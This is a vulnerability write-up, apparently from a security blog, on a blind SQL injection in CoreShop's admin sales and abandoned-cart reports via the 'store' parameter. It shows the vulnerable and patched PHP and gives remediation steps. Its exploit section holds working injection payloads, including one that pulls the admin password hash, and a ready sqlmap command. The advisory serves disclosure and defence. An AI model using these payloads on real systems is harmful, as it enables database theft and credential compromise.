GHSA-CH7P-MPV4-4VG4

CoreShop Admin SQL Injection: When "Trust Me, I'm Admin" Goes Wrong

Amit Schendel
Amit Schendel
Senior Security Researcher

Jan 8, 2026·7 min read

Executive Summary (TL;DR)

CoreShop developers mixed prepared statements with direct string concatenation in their report generators. This allows authenticated admins to inject arbitrary SQL via the 'store' parameter. While it requires high privileges, it enables full database exfiltration, bypassing internal data segregation controls.

A blind SQL injection vulnerability in CoreShop's admin reporting modules allows authenticated administrators to extract sensitive database information via unsanitized parameter concatenation.

The Hook: The Soft Underbelly of Admin Panels

There is a pervasive myth in software development that code running behind an authentication wall needs less scrutiny than the public-facing frontend. You see it all the time: rigorous input validation on the login form, but absolute chaos once you're inside the dashboard. "Who's going to hack us? The marketing intern?" they ask.

CoreShop, a popular e-commerce framework for Pimcore, fell victim to this exact line of thinking. While the frontend allows customers to buy widgets securely, the backend reporting tools—designed for store managers to analyze sales and abandoned carts—were hiding a classic vulnerability.

The issue lies in how reports are generated. When an admin asks, "Show me sales for Store #1," the application constructs a massive SQL query. In a perfect world, this request is treated with suspicion. In CoreShop's world, the application simply nodded and pasted the request directly into the database command. This creates a perfect storm for a bored or malicious insider to turn a simple sales report into a full database dump tool.

The Flaw: A Sandwich of Security and Stupidity

The technical root cause here is what I like to call a "Security Sandwich." The developers were clearly aware of SQL injection risks because they used Doctrine DBAL's prepared statements for some parameters. However, for reasons known only to the gods of legacy code, they decided to manually concatenate other parameters directly into the query string.

The vulnerability is a textbook Blind SQL Injection (CWE-89). It resides in multiple report classes, such as SalesReport.php and AbandonedCartsReport.php. The code retrieves the store ID from the HTTP request and drops it straight into the WHERE clause without sanitization.

Here is the logic flaw: The code uses ? placeholders for dates (orderDate), which is good. But right next to it, it uses string interpolation for $storeId. It's like locking your front door with a deadbolt (the prepared statements) but leaving the living room window wide open (the concatenated variable). Because the injection happens inside a SELECT statement that returns data to a grid, the attacker can't necessarily see the error messages (Error-based SQLi), but they can manipulate the results to ask the database true/false questions (Boolean Blind) or make it sleep (Time-based Blind).

The Code: The Smoking Gun

Let's look at the vulnerable code in src/CoreShop/Bundle/CoreBundle/Report/SalesReport.php. This snippet is a masterclass in inconsistent security practices.

The Vulnerable Code:

// fetching the input directly from the request bag
$storeId = $parameterBag->get('store', null);
 
// Constructing the query
$sqlQuery = "
    SELECT DATE(FROM_UNIXTIME(orderDate)) AS dayDate, orderDate, SUM(totalGross) AS total
    FROM object_query_$classId AS orders
    WHERE orders.store = $storeId  <-- HERE IS THE BUG
      AND orders.orderState = '$orderCompleteState'
      AND orders.orderDate > ?     <-- Correctly bound
      AND orders.orderDate < ?     <-- Correctly bound
    GROUP BY " . $groupSelector;
 
// Executing the query mixed with bound parameters
$data = $this->db->fetchAllAssociative($sqlQuery, [$fromTimestamp, $toTimestamp]);

Notice specifically orders.store = $storeId. If $storeId is 1, the query works as intended. If $storeId is 1 AND (SELECT SLEEP(10)), the database takes a nap. The developers were so close to getting it right—they even used an array for $fromTimestamp and $toTimestamp! This partial implementation is often more dangerous than total negligence because it gives code reviewers a false sense of security.

The Fix (Commit 59e84fe):

The patch effectively switches to named parameters. Instead of blindly trusting the input, the query now uses :storeId, and the value is passed safely in the parameters array. They also added explicit integer casting (int) to the limit and offset variables, which is a robust defense against injection in LIMIT clauses where prepared statements sometimes fail depending on the driver.

$sqlQuery = "
    ...
    WHERE orders.store = :storeId
    ...";
 
$data = $this->db->fetchAllAssociative($sqlQuery, [
    'storeId' => $storeId,
    'fromTimestamp' => $fromTimestamp,
    ...
]);

The Exploit: Data Extraction via Twenty Questions

Since this is an authenticated Admin vulnerability, the attacker is likely a compromised staff account or a rogue employee with "Store Manager" permissions who wants to access data from other stores or dump the users table.

Because the application expects to return a JSON or HTML dataset for a chart/grid, we likely won't see the output of our injected command directly rendered in the 'Sales Total' column. Instead, we use Boolean Inference.

Step 1: The Baseline

First, we make a valid request to confirm we have access: GET /admin/coreshop/report/get-data?report=sales&store=1 Result: HTTP 200, returns a JSON object with sales data.

Step 2: The Boolean Test

We inject a condition that is always TRUE: GET /admin/coreshop/report/get-data?report=sales&store=1 AND 1=1 Result: HTTP 200, returns the same data. The query logic held up.

Now, we inject a condition that is always FALSE: GET /admin/coreshop/report/get-data?report=sales&store=1 AND 1=2 Result: HTTP 200, but returns an empty dataset (or zeroes). The AND 1=2 forces the WHERE clause to fail for every row.

Step 3: The Data Exfiltration

Now we can play "20 Questions" with the database. Suppose we want to steal the admin password hash. We can check the first character of the password.

store=1 AND ascii(substring((SELECT password FROM users LIMIT 1),1,1)) > 100

If the result returns data, the character's ASCII value is greater than 100. If it returns empty, it's less. We repeat this bit-by-bit until we have the entire database. Automation tools like sqlmap eat this for breakfast:

sqlmap -u "https://target.com/admin/coreshop/report/get-data?report=sales&store=1" \
  --cookie="PHPSESSID=..." \
  --dbms=mysql \
  --technique=B \
  --level=5

The Impact: Why "Admin Only" Isn't Enough

You might look at the CVSS score of 4.9 and shrug. "It requires Admin privileges? Who cares? If they are admin, they own the site anyway!"

Not quite. CoreShop is designed for complex e-commerce setups. It supports multi-store environments. You might have a "US Store Manager" who should only see US sales data. With this vulnerability, that regional manager can escalate their view to see Global sales, customer PII from the EU store (GDPR nightmare), or dump the credentials of the Super Admin.

Furthermore, if an attacker gains access to a low-privilege account via a weak password or phishing, this vulnerability allows them to pivot from "I can see the dashboard" to "I can read the config.php database credentials" or "I can dump the customer credit card tokens." It bridges the gap between partial access and total compromise.

The Fix: Parameterize or Perish

The remediation here is straightforward, as demonstrated in the patch. The golden rule of SQL interaction is never trust user input, regardless of whether that user is an anonymous visitor or a logged-in administrator.

Remediation Steps:

  1. Upgrade CoreShop: Ensure you are running a version that includes the commit 59e84fec (released after Jan 7, 2026).
  2. Audit Custom Reports: If you have built custom reports or extensions for CoreShop, audit them immediately. Look for variables inside double-quoted SQL strings ("SELECT ... $var ...").
  3. Strict Typing: Cast integer inputs (IDs, limits, offsets) to (int) immediately upon retrieval from the request bag. PHP's loose typing can be dangerous; forcing an integer type kills most SQL injection attempts dead in their tracks.
  4. Least Privilege: Ensure your database user for the web application does not have FILE permissions. This prevents an attacker from using this injection to read files (LOAD_FILE) or write webshells (INTO OUTFILE), limiting the damage to data theft rather than server takeover.

Fix Analysis (1)

Technical Appendix

CVSS Score
4.9/ 10
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
EPSS Probability
0.04%
Top 100% most exploited

Affected Systems

CoreShop (Pimcore E-Commerce Framework)

Affected Versions Detail

Product
Affected Versions
Fixed Version
CoreShop
CoreShop
< Jan 7 2026 PatchCommit 59e84fec
AttributeDetail
Vulnerability TypeBlind SQL Injection
CWE IDCWE-89
CVSS Score4.9 (Medium)
Attack VectorNetwork (Authenticated)
Affected Parameterstore, limit, offset
Exploit MaturityPoC Available
CWE-89
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

The software constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command.

Vulnerability Timeline

Patch Committed to GitHub
2026-01-07
Public Disclosure via GHSA
2026-01-07

Subscribe to updates

Get the latest CVE analysis reports delivered to your inbox.